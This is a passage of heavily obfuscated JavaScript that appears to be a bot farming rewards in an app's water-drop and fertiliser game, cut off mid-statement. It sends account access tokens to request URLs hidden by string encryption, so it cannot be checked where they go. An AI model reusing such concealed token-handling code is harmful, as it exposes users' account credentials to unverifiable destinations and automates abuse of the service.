_0x5268ef=_0x3e0e22[_0x6cb7('‫8','4omL')][_0x6cb7('‫9','Uk((')]('|'),_0x3a7af3=0x0;while(!![]){switch(_0x5268ef[_0x3a7af3++]){case'0':this[_0x6cb7('‫a','7SnV')]=null;continue;case'1':this[_0x6cb7('‫b','xO1Q')]=null;continue;case'2':this[_0x6cb7('‮c','QeVy')]=0x0;continue;case'3':this[_0x6cb7('‫d','@6HR')]=++_0x3b94d5;continue;case'4':this[_0x6cb7('‮e','@6HR')]=this['ck'][0x0];continue;case'5':this[_0x6cb7('‫f','CPd*')]=this['ck'][0x1];continue;case'6':this[_0x6cb7('‮10','ToWS')]=0x0;continue;case'7':this[_0x6cb7('‫11','Cfiq')]=0x1;continue;case'8':this[_0x6cb7('‫12','l^&q')]='靓仔';continue;case'9':this['ck']=_0x1ae0b9[_0x6cb7('‮13','1QSI')]('#');continue;case'10':this[_0x6cb7('‮14','EIwb')]=0x0;continue;case'11':this[_0x6cb7('‮15','4omL')]={'large':{'sum':0x0,'id':[]},'small':{'sum':0x0,'id':[]}};continue;case'12':this[_0x6cb7('‮16','L(@T')]=null;continue;case'13':this[_0x6cb7('‫17','4q8Y')]=![];continue;}break;}}async[_0x6cb7('‫18','uYQW')](){var _0x39f875={'yfgrs':function(_0x40ff4a,_0x36300d){return _0x40ff4a==_0x36300d;},'GnUDw':_0x6cb7('‮19','N4GP'),'VqaYu':_0x6cb7('‫1a','uYQW'),'irbrl':_0x6cb7('‮1b','Cfiq'),'QECTp':function(_0x4f505a,_0x356d47,_0x1453af){return _0x4f505a(_0x356d47,_0x1453af);},'JCmDw':_0x6cb7('‫1c','l^9E'),'gnlUb':function(_0x3bbbb8,_0x279c71){return _0x3bbbb8!==_0x279c71;},'qpdzM':_0x6cb7('‫1d','VuNW'),'TKbla':function(_0x1502db,_0x2bdd64){return _0x1502db===_0x2bdd64;},'Kltpm':_0x6cb7('‮1e','A0vt'),'lLHpZ':function(_0x4ac626,_0x1200ba){return _0x4ac626-_0x1200ba;},'AwLxF':_0x6cb7('‮1f','ToWS')};let _0x4abde5={'url':_0x39f875[_0x6cb7('‮20','Spd&')],'body':_0x6cb7('‫21','8SuU'),'headers':{'accesstoken':this[_0x6cb7('‮22','L(@T')],'anti-token':this[_0x6cb7('‫23','oWoQ')]}},_0x2d4f24=await _0x39f875[_0x6cb7('‫24','Spd&')](_0x4185e1,_0x39f875[_0x6cb7('‫25','kYs8')],_0x4abde5);if(!_0x2d4f24){if(_0x39f875[_0x6cb7('‫26','aEV1')](_0x39f875[_0x6cb7('‫27','Q3Ty')],_0x39f875[_0x6cb7('‫27','Q3Ty')])){_0x7c5542[_0x6cb7('‫28','xO1Q')](_0x6cb7('‮29','4omL')+pk+_0x6cb7('‫2a','uYQW')+(_0x39f875[_0x6cb7('‮2b','OLm1')](pkStatus,0x2)?'结束':_0x39f875[_0x6cb7('‫2c','Cfiq')])+'\x20');}else{return;}}if(_0x2d4f24[_0x6cb7('‮2d','oWoQ')]){let _0x114ba1=_0x2d4f24[_0x6cb7('‫2e','kD^z')];for(let _0xc23b13 in _0x114ba1){if(_0x39f875[_0x6cb7('‫2f','DAP4')](_0x39f875[_0x6cb7('‮30','7SnV')],_0x39f875[_0x6cb7('‮31','uYQW')])){if(_0x39f875[_0x6cb7('‫32','QeVy')](_0x114ba1[_0xc23b13][_0x6cb7('‫33','4omL')],_0x114ba1[_0xc23b13][_0x6cb7('‫34','DKpE')])){console[_0x6cb7('‮35','nacS')](_0x114ba1[_0xc23b13]);await this[_0x6cb7('‮36','nacS')](_0x114ba1[_0xc23b13][_0x6cb7('‮37','4q8Y')]);await _0x7c5542[_0x6cb7('‫38','O0r*')](0x3e8);}}else{_0x7c5542[_0x6cb7('‮39','4omL')](_0x9e2080+=_0x39f875[_0x6cb7('‮3a','8SuU')]);}}}else{_0x7c5542[_0x6cb7('‫3b','A0vt')](_0x39f875[_0x6cb7('‮3c','7SnV')]);}}async[_0x6cb7('‮3d','6%kd')](_0x24e3b0,_0x1bfd72){var _0x59fe40={'vfnVH':_0x6cb7('‫3e','kYs8'),'HNcOZ':function(_0x442697,_0x276f02,_0x5d6d69){return _0x442697(_0x276f02,_0x5d6d69);},'fdDxj':_0x6cb7('‫3f','a5[8')};let _0x5eb9a9={'url':_0x59fe40[_0x6cb7('‮40','ToWS')],'body':_0x6cb7('‮41','DAP4')+_0x24e3b0+_0x6cb7('‫42','XMzj'),'headers':{'accesstoken':this[_0x6cb7('‮e','@6HR')],'anti-token':this[_0x6cb7('‫43','Uk((')]}},_0x4fd209=await _0x59fe40[_0x6cb7('‫44','aEV1')](_0x4185e1,_0x59fe40[_0x6cb7('‫45','(w5K')],_0x5eb9a9);if(!_0x4fd209){return;}console[_0x6cb7('‫46','l^&q')](_0x4fd209);await this[_0x6cb7('‮47','taEA')](_0x24e3b0,_0x1bfd72);}async[_0x6cb7('‮48','aEV1')](_0x5b8973,_0x5ab514){var _0x42fd45={'yivYv':_0x6cb7('‫49','dixm'),'TNVNB':_0x6cb7('‮4a','cAvC'),'OoWjo':function(_0xcf2c60,_0x2d310b,_0x2c775f){return _0xcf2c60(_0x2d310b,_0x2c775f);},'QzIUc':_0x6cb7('‫4b','(w5K'),'ftSUI':function(_0x14d60c,_0x2899f8){return _0x14d60c===_0x2899f8;},'VCiXe':_0x6cb7('‫4c','L(@T'),'mDXdA':_0x6cb7('‫4d','bi]F'),'FgKCo':function(_0x1ce8c6,_0xecc18f){return _0x1ce8c6+_0xecc18f;}};let _0x2a4996={'url':_0x42fd45[_0x6cb7('‫4e','a5[8')],'body':_0x6cb7('‮4f','QeVy')+_0x5b8973+_0x6cb7('‫50','qO3C')+this[_0x6cb7('‮51','7SnV')]+_0x6cb7('‮52','XMzj'),'headers':{'accesstoken':this[_0x6cb7('‮53','7SnV')],'anti-token':this[_0x6cb7('‫54','3WLS')]}},_0xdb15cc=await _0x42fd45[_0x6cb7('‮55','XMzj')](_0x4185e1,_0x42fd45[_0x6cb7('‮56','3WLS')],_0x2a4996);if(!_0xdb15cc){if(_0x42fd45[_0x6cb7('‫57','kYs8')](_0x42fd45[_0x6cb7('‮58','7SnV')],_0x42fd45[_0x6cb7('‫59','A0vt')])){_0x7c5542[_0x6cb7('‫5a','kYs8')](_0x9e2080+=_0x42fd45[_0x6cb7('‮5b','bi]F')]);}else{return;}}_0x9e2080=_0x42fd45[_0x6cb7('‫5c','a5[8')](_0x5ab514,'领取');if(_0xdb15cc[_0x6cb7('‮5d','8SuU')]){let _0x323d6f=_0xdb15cc[_0x6cb7('‫5e','Q3Ty')];this[_0x6cb7('‫5f','dixm')]+=_0x323d6f;_0x7c5542[_0x6cb7('‮60','EIwb')](_0x9e2080+=_0x6cb7('‫61','tsKc')+_0x323d6f+'💧');}else if(_0xdb15cc[_0x6cb7('‮62','uYQW')]){_0x7c5542[_0x6cb7('‮63','taEA')](_0x9e2080+=_0x42fd45[_0x6cb7('‫64','A0vt')]);}else{_0x7c5542[_0x6cb7('‮65','OLm1')](_0x9e2080+=_0x6cb7('‫66','VfC^')+_0xdb15cc[_0x6cb7('‫67','DAP4')]);}}async[_0x6cb7('‫68','QeVy')](_0x384ee5,_0x499045){var _0x4b4d1c={'ZeVWo':_0x6cb7('‫69','qO3C'),'OUITu':function(_0x22566c,_0x3ed3e5,_0x285cca){return _0x22566c(_0x3ed3e5,_0x285cca);},'LPZox':_0x6cb7('‮6a','DKpE'),'dzCvQ':function(_0x1aeddd,_0xca692b){return _0x1aeddd===_0xca692b;},'AxwHV':_0x6cb7('‮6b','7SnV'),'qHzEN':_0x6cb7('‫6c','8SuU'),'ohHxW':function(_0x495ffc,_0x2e7331){return _0x495ffc-_0x2e7331;},'tewwW':function(_0x30adca,_0x3c5fca){return _0x30adca==_0x3c5fca;},'KwuYO':function(_0x110943,_0x4036ae){return _0x110943+_0x4036ae;},'JUdza':_0x6cb7('‫6d','KmS#'),'Crtvu':_0x6cb7('‮6e','l^9E')};let _0x6981dc={'url':_0x4b4d1c[_0x6cb7('‫6f','4omL')],'body':_0x6cb7('‫70','[vKE')+_0x384ee5+_0x6cb7('‫71','taEA')+this[_0x6cb7('‮72','OLm1')]+_0x6cb7('‫73','l^&q'),'headers':{'accesstoken':this[_0x6cb7('‫74','kD^z')],'anti-token':this[_0x6cb7('‫75','1QSI')]}},_0x3eb942=await _0x4b4d1c[_0x6cb7('‫76','[vKE')](_0x4185e1,_0x4b4d1c[_0x6cb7('‮77','KmS#')],_0x6981dc);if(!_0x3eb942){if(_0x4b4d1c[_0x6cb7('‮78','Spd&')](_0x4b4d1c[_0x6cb7('‫79','O0r*')],_0x4b4d1c[_0x6cb7('‫7a','DKpE')])){let _0x33a5e3=_0x3eb942[_0x6cb7('‫7b','6%kd')];this[_0x6cb7('‮7c','txU5')]+=_0x33a5e3;_0x7c5542[_0x6cb7('‮7d','uYQW')](_0x9e2080+=_0x6cb7('‫7e','Spd&')+_0x33a5e3+'💧');}else{return;}}_0x9e2080=_0x499045;if(_0x3eb942[_0x6cb7('‫7f','Q(p8')]){let _0xf5cba6=_0x3eb942[_0x6cb7('‮80','nacS')][''+_0x384ee5],_0x3a6fa5=_0x4b4d1c[_0x6cb7('‮81','uYQW')](_0xf5cba6[_0x6cb7('‮82','l^&q')],_0xf5cba6[_0x6cb7('‫83','DAP4')]);let _0xd97535=_0x3eb942[_0x6cb7('‮84','7SnV')][0x0],_0xb81ee2=''+(_0x4b4d1c[_0x6cb7('‫85','aEV1')](_0xd97535[_0x6cb7('‫86','DAP4')],0x1)?'💧':'化肥'),_0x247725=_0xd97535[_0x6cb7('‮87','oWoQ')];_0x7c5542[_0x6cb7('‫88','a5[8')](_0x4b4d1c[_0x6cb7('‫89','taEA')](_0x9e2080,_0x6cb7('‫8a','1QSI')+_0xb81ee2+'*'+_0x247725+_0x6cb7('‫8b','@6HR')+_0x3a6fa5+'次'));}else if(_0x3eb942[_0x6cb7('‮8c','KmS#')]){_0x7c5542[_0x6cb7('‫8d','Uk((')](_0x9e2080+=_0x4b4d1c[_0x6cb7('‫8e','txU5')]);}else{_0x7c5542[_0x6cb7('‮8f','Q3Ty')](_0x9e2080+=_0x4b4d1c[_0x6cb7('‫90','1QSI')](_0x4b4d1c[_0x6cb7('‮91','OLm1')],_0x3eb942[_0x6cb7('‮92','OLm1')]));}}async[_0x6cb7('‫93','aEV1')](_0xbb9e26,_0x58f881){var _0x5bdecb={'KMVIo':_0x6cb7('‮94','8SuU'),'qKuQs':function(_0x32af40,_0x2a635c,_0x1439a0){return _0x32af40(_0x2a635c,_0x1439a0);},'Zclcf':_0x6cb7('‫95','cAvC'),'rRinM':function(_0x4a47d2,_0x2d6234){return _0x4a47d2===_0x2d6234;},'GOcPx':_0x6cb7('‮96','@6HR'),'oHsms':function(_0x56b9eb,_0x52b1e0){return _0x56b9eb!==_0x52b1e0;},'tDaMy':_0x6cb7('‫97','DKpE'),'GGEpH':function(_0xdf61d9,_0x23a54e){return _0xdf61d9+_0x23a54e;},'dZsJN':function(_0x45ce3d,_0x259a05){return _0x45ce3d!==_0x259a05;},'AcmKD':_0x6cb7('‫98','tsKc'),'WsGIR':_0x6cb7('‮99','l^&q'),'FmAHG':function(_0x197c51,_0x30301e){return _0x197c51(_0x30301e);},'WfXQR':function(_0x231150,_0x2c4b03){return _0x231150/_0x2c4b03;},'KouRI':function(_0x4121cd,_0xbad044){return _0x4121cd==_0xbad044;},'qSbgU':_0x6cb7('‮9a','3WLS'),'gmOgs':function(_0x109982,_0x5825ad){return _0x109982===_0x5825ad;},'WxSEg':_0x6cb7('‫9b','Y3^R'),'MgsPP':_0x6cb7('‫9c','oWoQ'),'FTpyO':_0x6cb7('‫9d','txU5'),'hmAwb':function(_0x79c860,_0x262061){return _0x79c860!==_0x262061;},'WcBcJ':_0x6cb7('‮9e','CPd*'),'JVtWp':function(_0x5d66ae,_0x1604d8){return _0x5d66ae+_0x1604d8;},'FYuuv':_0x6cb7('‫9f','cAvC')};let _0x1433ee={'url':_0x5bdecb[_0x6cb7('‮a0','VuNW')],'body':_0x6cb7('‫a1','1QSI')+_0xbb9e26+_0x6cb7('‫a2','[vKE')+this[_0x6cb7('‮a3','[vKE')]+_0x6cb7('‫a4','4omL'),'headers':{'accesstoken':this[_0x6cb7('‫a5','Y3^R')],'anti-token':this[_0x6cb7('‫a6','aEV1')]}},_0x1220c3=await _0x5bdecb[_0x6cb7('‮a7','XMzj')](_0x4185e1,_0x5bdecb[_0x6cb7('‮a8','6%kd')],_0x1433ee);if(!_0x1220c3){if(_0x5bdecb[_0x6cb7('‫a9','xO1Q')](_0x5bdecb[_0x6cb7('‮aa','txU5')],_0x5bdecb[_0x6cb7('‫ab','Q(p8')])){return;}else{return;}}_0x9e2080=_0x58f881;if(_0x1220c3[_0x6cb7('‮ac','O0r*')]){if(_0x5bdecb[_0x6cb7('‫ad','3WLS')](_0x5bdecb[_0x6cb7('‮ae','XMzj')],_0x5bdecb[_0x6cb7('‫af','4q8Y')])){return;}else{let _0x251cb9=_0x1220c3[_0x6cb7('‮b0','[vKE')][0x0][_0x6cb7('‮b1','xO1Q')];_0x7c5542[_0x6cb7('‮35','nacS')](_0x5bdecb[_0x6cb7('‫b2','1QSI')](_0x9e2080,_0x6cb7('‮b3','l^9E')+_0x251cb9+'💧'));}}else if(_0x1220c3[_0x6cb7('‫b4','dixm')]){if(_0x5bdecb[_0x6cb7('‮b5','nacS')](_0x5bdecb[_0x6cb7('‮b6','l^9E')],_0x5bdecb[_0x6cb7('‮b7','Cfiq')])){let _0x28be14=_0x5bdecb[_0x6cb7('‫b8','aEV1')](parseInt,_0x5bdecb[_0x6cb7('‮b9','OLm1')](_0x1220c3[_0x6cb7('‫ba','DAP4')],0x3e8));this[_0x6cb7('‫bb','Uk((')]+=_0x28be14;_0x7c5542[_0x6cb7('‮63','taEA')](_0x9e2080+=_0x6cb7('‮bc','DKpE')+_0x28be14+'💧');}else{return;}}else if(_0x5bdecb[_0x6cb7('‫bd','xO1Q')](_0x1220c3[_0x6cb7('‮be','xO1Q')],0x3)){_0x7c5542[_0x6cb7('‮bf','6%kd')](_0x9e2080+=_0x5bdecb[_0x6cb7('‫c0','Uk((')]);}else if(_0x1220c3[_0x6cb7('‫c1','VfC^')]){if(_0x5bdecb[_0x6cb7('‫c2','dixm')](_0x5bdecb[_0x6cb7('‫c3','nacS')],_0x5bdecb[_0x6cb7('‫c4','@6HR')])){userCk=_0x5a970f[_0x6cb7('‫c5','N4GP')]('\x0a');}else{_0x7c5542[_0x6cb7('‫c6','VfC^')](_0x9e2080+=_0x5bdecb[_0x6cb7('‫c7','A0vt')]);}}else{if(_0x5bdecb[_0x6cb7('‫c8','QeVy')](_0x5bdecb[_0x6cb7('‫c9','xO1Q')],_0x5bdecb[_0x6cb7('‫ca','VfC^')])){_0x7c5542[_0x6cb7('‫cb','Q(p8')](_0x6cb7('‮cc','CPd*'));}else{_0x7c5542[_0x6cb7('‮cd','dixm')](_0x9e2080+=_0x5bdecb[_0x6cb7('‮ce','XMzj')](_0x5bdecb[_0x6cb7('‮cf','OLm1')],_0x1220c3[_0x6cb7('‮d0','txU5')]));}}}async[_0x6cb7('‫d1','uYQW')](_0x3f21bd){var _0x3395ef={'FnJAg':_0x6cb7('‮d2','4q8Y'),'pqhjh':function(_0x5a31a8,_0x4e0c52){return _0x5a31a8==_0x4e0c52;},'haQRA':_0x6cb7('‫d3','L(@T'),'whFJa':function(_0x187b79,_0x333d7f,_0x31afeb){return _0x187b79(_0x333d7f,_0x31afeb);},'hEyeP':_0x6cb7('‫d4','oWoQ'),'vtuFh':function(_0x5b4350,_0x9bf07d){return _0x5b4350!==_0x9bf07d;},'eaYMQ':_0x6cb7('‮d5','Rjpl'),'aSZex':function(_0x2fb836,_0x4ef61d){return _0x2fb836==_0x4ef61d;},'OAvBw':function(_0x50460a,_0x2eac33){return _0x50460a!==_0x2eac33;},'QMQsF':_0x6cb7('‫d6','l^&q'),'OOUhi':function(_0x5b2bc0,_0x584d34){return _0x5b2bc0==_0x584d34;},'Wuabi':function(_0x569585,_0x47705a){return _0x569585==_0x47705a;}};let _0x1a8a39={'url':_0x3395ef[_0x6cb7('‫d7','6%kd')],'body':_0x6cb7('‮d8','QeVy')+_0x3f21bd+_0x6cb7('‫d9','uYQW')+this[_0x6cb7('‮da','O0r*')]+_0x6cb7('‫db','cAvC'),'headers':{'accesstoken':this[_0x6cb7('‮dc','l&k&')],'anti-token':this[_0x6cb7('‫dd','VuNW')]}},_0x4fcbe2=await _0x3395ef[_0x6cb7('‫de','EIwb')](_0x4185e1,_0x3395ef[_0x6cb7('‫df','kYs8')],_0x1a8a39);if(!_0x4fcbe2){if(_0x3395ef[_0x6cb7('‫e0','4omL')](_0x3395ef[_0x6cb7('‫e1','CPd*')],_0x3395ef[_0x6cb7('‫e2','O0r*')])){_0x7c5542[_0x6cb7('‮e3','@6HR')](_0x6cb7('‮e4','txU5'));}else{return;}}if(_0x4fcbe2[_0x6cb7('‮e5','aEV1')][0x0]||_0x3395ef[_0x6cb7('‮e6','4q8Y')](_0x4fcbe2[_0x6cb7('‫e7','Q(p8')],0x1)){if(_0x3395ef[_0x6cb7('‮e8','OLm1')](_0x3395ef[_0x6cb7('‮e9','OLm1')],_0x3395ef[_0x6cb7('‮e9','OLm1')])){_0x9e2080=_0x3395ef[_0x6cb7('‮ea','VuNW')];if(_0x3395ef[_0x6cb7('‫eb','@6HR')](_0x4fcbe2[_0x6cb7('‫ec','l^&q')][0x0][_0x6cb7('‫ed','taEA')],0x1)){_0x7c5542[_0x6cb7('‫ee','L(@T')](_0x9e2080+=_0x6cb7('‫ef','L(@T')+_0x4fcbe2[_0x6cb7('‮f0','DAP4')][0x0][_0x6cb7('‮f1','1QSI')]+'\x20');}else{_0x7c5542[_0x6cb7('‮f2','DKpE')](_0x9e2080+=_0x6cb7('‫f3','Uk((')+_0x4fcbe2[_0x6cb7('‫f4','oWoQ')][0x0][_0x6cb7('‫f5','3WLS')]+'\x20');}}else{_0x9e2080=_0x3395ef[_0x6cb7('‮f6','DKpE')];if(_0x3395ef[_0x6cb7('‫f7','VuNW')](_0x4fcbe2[_0x6cb7('‮e5','aEV1')][0x0][_0x6cb7('‫f8','ToWS')],0x1)){_0x7c5542[_0x6cb7('‮f9','oWoQ')](_0x9e2080+=_0x6cb7('‫fa','kYs8')+_0x4fcbe2[_0x6cb7('‮e5','aEV1')][0x0][_0x6cb7('‫fb','Q(p8')]+'\x20');}else{_0x7c5542[_0x6cb7('‫fc','txU5')](_0x9e2080+=_0x6cb7('‮fd','KmS#')+_0x4fcbe2[_0x6cb7('‫fe','A0vt')][0x0][_0x6cb7('‫86','DAP4')]+'\x20');}}}else if(_0x3395ef[_0x6cb7('‫ff','3WLS')](_0x4fcbe2[_0x6cb7('‫100','4omL')],0x3)){_0x7c5542[_0x6cb7('‮cd','dixm')](_0x6cb7('‫101','N4GP'));}else{_0x7c5542[_0x6cb7('‮102','[vKE')](_0x6cb7('‫103','3WLS'));}}async[_0x6cb7('‮104','bi]F')](){var _0x383caa={'ihdDs':function(_0x20b058,_0x22f62a){return _0x20b058(_0x22f62a);},'lDSMY':function(_0x419676,_0x40ecb4){return _0x419676+_0x40ecb4;},'UQMXo':_0x6cb7('‮105','Spd&'),'JdZPx':function(_0x4f1cc9,_0x4c4667){return _0x4f1cc9-_0x4c4667;},'VqSVY':function(_0x1f5cb2,_0x594123){return _0x1f5cb2==_0x594123;},'qpZFa':function(_0x3ec30b,_0x42da64){return _0x3ec30b+_0x42da64;},'JzzYd':function(_0x26da20,_0x5689f9){return _0x26da20+_0x5689f9;},'EOkHA':_0x6cb7('‫106','8SuU'),'phNGG':function(_0x2055f7,_0x940c4b,_0x39e3ee){return _0x2055f7(_0x940c4b,_0x39e3ee);},'yKHUY':_0x6cb7('‮107','kD^z'),'aOnej':function(_0x531075,_0x12e93d){return _0x531075===_0x12e93d;},'uRdzR':_0x6cb7('‫108','oWoQ')};let _0x1b90d3={'url':_0x383caa[_0x6cb7('‮109','EIwb')],'headers':{'accesstoken':this[_0x6cb7('‮22','L(@T')],'anti-token':this[_0x6cb7('‫10a','txU5')]}},_0x50d448=await _0x383caa[_0x6cb7('‫10b','OLm1')](_0x4185e1,_0x383caa[_0x6cb7('‫10c','cAvC')],_0x1b90d3);if(!_0x50d448){if(_0x383caa[_0x6cb7('‮10d','VuNW')](_0x383caa[_0x6cb7('‫10e','(w5K')],_0x383caa[_0x6cb7('‮10f','cAvC')])){return;}else{let _0x4bce2f=_0x50d448[_0x6cb7('‮110','qO3C')],_0xdf1268=_0x4bce2f[_0x6cb7('‫111','l^&q')],_0x494a85=_0x4bce2f[_0x6cb7('‫112','(w5K')][0x0][_0x6cb7('‮f1','1QSI')],_0x41ce93=new Date(_0x383caa[_0x6cb7('‮113','VfC^')](Number,_0x383caa[_0x6cb7('‮114','8SuU')](_0x4bce2f[_0x6cb7('‫115','Cfiq')],_0x383caa[_0x6cb7('‫116','kD^z')]))),_0x13b163=_0x41ce93[_0x6cb7('‮117','kD^z')](),_0x51f099=_0x41ce93[_0x6cb7('‮118','VuNW')](),_0x100d08=_0x383caa[_0x6cb7('‫119','KmS#')](_0x13b163,_0x107268[_0x6cb7('‮11a','4omL')]()),_0x3946b6=_0x383caa[_0x6cb7('‮11b','Y3^R')](_0x51f099,_0x107268[_0x6cb7('‫11c','Q3Ty')]()),_0x43f0c1=_0x383caa[_0x6cb7('‮11d','Q3Ty')](_0x100d08,0x0)?_0x383caa[_0x6cb7('‫11e','@6HR')](_0x3946b6,'小时'):_0x383caa[_0x6cb7('‮11f','Rjpl')](_0x100d08,'天');if(this[_0x6cb7('‮120','DKpE')]){_0x7c5542[_0x6cb7('‮121','N4GP')](_0x6cb7('‫122','XMzj')+_0xdf1268+_0x6cb7('‮123','QeVy')+_0x43f0c1+_0x6cb7('‫124','KmS#')+_0x494a85+'💧');}}}_0x9e2080=_0x6cb7('‫125','DAP4');if(_0x50d448[_0x6cb7('‫126','Y3^R')]){let _0x5541ae=_0x50d448[_0x6cb7('‫127','txU5')][_0x6cb7('‮128','tsKc')];this[_0x6cb7('‮129','7SnV')]+=_0x5541ae;_0x7c5542[_0x6cb7('‫12a','QeVy')](_0x9e2080+=_0x6cb7('‫12b','DAP4')+_0x5541ae+'水滴');}else{_0x7c5542[_0x6cb7('‮65','OLm1')](_0x9e2080+=_0x6cb7('‮12c','uYQW')+_0x50d448[_0x6cb7('‫12d','oWoQ')]);}}async[_0x6cb7('‫12e','A0vt')](){var _0x14d772={'KHMCY':_0x6cb7('‫12f','O0r*'),'UwTKN':function(_0x35d899,_0x116efe,_0x4cd46f){return _0x35d899(_0x116efe,_0x4cd46f);},'cNpwc':_0x6cb7('‮130','uYQW')};let _0x3c3cac={'url':_0x14d772[_0x6cb7('‮131','6%kd')],'headers':{'accesstoken':this[_0x6cb7('‮22','L(@T')],'anti-token':this[_0x6cb7('‮132','[vKE')]}},_0x5e9315=await _0x14d772[_0x6cb7('‮133','OLm1')](_0x4185e1,_0x14d772[_0x6cb7('‮134','tsKc')],_0x3c3cac);if(!_0x5e9315){return;}let _0x542373=_0x5e9315[_0x6cb7('‫135','aEV1')][this[_0x6cb7('‮136','Spd&')]][_0x6cb7('‫137','VuNW')];this[_0x6cb7('‮138','l&k&')]=_0x542373;}async[_0x6cb7('‮139','qO3C')](){var _0x3250a3={'rkgpm':_0x6cb7('‮13a','VfC^'),'nucRY':_0x6cb7('‫13b','nacS'),'spanR':_0x6cb7('‫13c','kD^z'),'qUSlT':function(_0x4b98d8,_0x112d89){return _0x4b98d8!=_0x112d89;},'GimKy':_0x6cb7('‮13d','l^9E'),'VUTOg':_0x6cb7('‫13e','ToWS'),'wRiVN':function(_0x53d4f2,_0x31d6a4,_0x3f8f27){return _0x53d4f2(_0x31d6a4,_0x3f8f27);},'EpPSS':_0x6cb7('‮130','uYQW'),'mRtrU':function(_0x596ae3,_0x4eee06){return _0x596ae3!==_0x4eee06;},'DJclD':_0x6cb7('‮13f','a5[8'),'TsGnV':_0x6cb7('‮140','OLm1'),'sgIfY':function(_0x5e7c55,_0x1c9dc4){return _0x5e7c55===_0x1c9dc4;},'KUmOb':_0x6cb7('‫141','taEA'),'Jkzmx':_0x6cb7('‫142','Rjpl'),'saryg':function(_0xe47aa1,_0x5436a3){return _0xe47aa1-_0x5436a3;},'fNvNh':_0x6cb7('‮143','6%kd'),'Osfgv':function(_0x113e2a,_0x2f6aee){return _0x113e2a>=_0x2f6aee;},'nYnfS':function(_0x250438,_0x1e333e){return _0x250438===_0x1e333e;},'wfYrg':_0x6cb7('‫144','4q8Y'),'ptnRz':_0x6cb7('‫145','EIwb'),'JnBnR':function(_0xd5ecce,_0x4e548c){return _0xd5ecce(_0x4e548c);},'UzAsR':function(_0x478e9e,_0x9eec41){return _0x478e9e+_0x9eec41;},'Ewpoa':_0x6cb7('‫146','EIwb'),'vhNOU':function(_0xcf433,_0x2b2551){return _0xcf433==_0x2b2551;},'xfSku':function(_0x17364c,_0x57ec42){return _0x17364c+_0x57ec42;},'aAKNU':function(_0x2755ff,_0x46db90){return _0x2755ff+_0x46db90;},'Hujsa':function(_0x37523b,_0x4fcc16){return _0x37523b!==_0x4fcc16;},'Juynl':_0x6cb7('‫147','l^9E'),'jVUeL':function(_0x12b739,_0x4ae84b){return _0x12b739==_0x4ae84b;},'ZJvOT':_0x6cb7('‮148','Rjpl'),'CkSBp':_0x6cb7('‫149','cAvC'),'orOic':function(_0x6e2040,_0xafdd22){return _0x6e2040!==_0xafdd22;},'Dqmkz':_0x6cb7('‫14a','kYs8'),'KjTiE':_0x6cb7('‮14b','7SnV'),'SIvGM':function(_0x3c5cd3,_0xac1587){return _0x3c5cd3===_0xac1587;},'wmlSO':_0x6cb7('‫14c','Y3^R'),'pEOln':_0x6cb7('‫14d','taEA'),'uFLFB':_0x6cb7('‫14e','VfC^')};let _0x5e93e4={'url':_0x3250a3[_0x6cb7('‮14f','@6HR')],'headers':{'accesstoken':this[_0x6cb7('‮150','xO1Q')],'anti-token':this[_0x6cb7('‫43','Uk((')]}},_0x4fb127=await _0x3250a3[_0x6cb7('‮151','Q3Ty')](_0x4185e1,_0x3250a3[_0x6cb7('‫152','cAvC')],_0x5e93e4);if(!_0x4fb127){return;}if(_0x4fb127[_0x6cb7('‫153','l^&q')]){_0x7c5542[_0x6cb7('‮39','4omL')](_0x6cb7('‫154','taEA'));}else{if(!_0x4fb127[_0x6cb7('‫155','qO3C')]){if(_0x3250a3[_0x6cb7('‮156','1QSI')](_0x3250a3[_0x6cb7('‫157','aEV1')],_0x3250a3[_0x6cb7('‫158','8SuU')])){_0x7c5542[_0x6cb7('‮f9','oWoQ')](_0x6cb7('‮159','bi]F'));}else{_0x7c5542[_0x6cb7('‮63','taEA')](_0x6cb7('‫15a','1QSI')+current_rank+_0x6cb7('‮15b','7SnV')+endDate+_0x6cb7('‮15c','CPd*')+reward_amount+'💧');}}this[_0x6cb7('‫b','xO1Q')]=_0x4fb127[_0x6cb7('‫15d','QeVy')];let _0x42a29e=_0x4fb127[_0x6cb7('‮15e','Uk((')];if(_0x42a29e&&_0x42a29e[_0x6cb7('‮15f','kD^z')]){if(_0x3250a3[_0x6cb7('‫160','Q3Ty')](_0x3250a3[_0x6cb7('‫161','kD^z')],_0x3250a3[_0x6cb7('‫162','8SuU')])){_0x7c5542[_0x6cb7('‮163','l^9E')](_0x3250a3[_0x6cb7('‮164','a5[8')]);}else{this[_0x6cb7('‮165','1QSI')]=_0x42a29e[_0x6cb7('‮166','4q8Y')][_0x6cb7('‫167','N4GP')][_0x6cb7('‮168','ToWS')];}}this[_0x6cb7('‫169','3WLS')]=_0x4fb127[_0x6cb7('‮16a','dixm')][_0x6cb7('‫16b','QeVy')];this[_0x6cb7('‫16c','6%kd')]=_0x4fb127[_0x6cb7('‮16d','ToWS')];let _0x29ac7d=_0x4fb127[_0x6cb7('‮16e','tsKc')][_0x6cb7('‮16f','qO3C')],_0x3ec7f0=_0x29ac7d?_0x3250a3[_0x6cb7('‮170','l^9E')](0x64,_0x29ac7d)[_0x6cb7('‮171','bi]F')](0x2)+'%':_0x3250a3[_0x6cb7('‫172','(w5K')];_0x9e2080=_0x6cb7('‮173','Y3^R')+this[_0x6cb7('‮174','ToWS')]+_0x6cb7('‫175','kYs8')+_0x3ec7f0;_0x7c5542[_0x6cb7('‮176','O0r*')](this[_0x6cb7('‫177','[vKE')]?_0x9e2080:_0x6cb7('‫178','Uk((')+_0x9e2080+'\x20');if(_0x4fb127[_0x6cb7('‮179','Q(p8')]){let _0x5f32de=_0x4fb127[_0x6cb7('‫127','txU5')][_0x6cb7('‮17a','A0vt')],_0x41d78c=_0x4fb127[_0x6cb7('‫17b','6%kd')][_0x6cb7('‫17c','tsKc')][_0x6cb7('‮17d','uYQW')],_0x45898c=_0x4fb127[_0x6cb7('‮17e','DKpE')][_0x6cb7('‮17f','3WLS')][_0x6cb7('‫180','4omL')];_0x9e2080=_0x6cb7('‫181','7SnV')+_0x5f32de+'💧';if(_0x41d78c){_0x9e2080+=_0x6cb7('‮182','A0vt')+_0x41d78c+'可得'+_0x45898c+'\x20';}if(this[_0x6cb7('‫177','[vKE')]){_0x7c5542[_0x6cb7('‮f2','DKpE')](_0x9e2080);}}else if(_0x3250a3[_0x6cb7('‮183','Q(p8')](_0x23ef33,0x7)){await 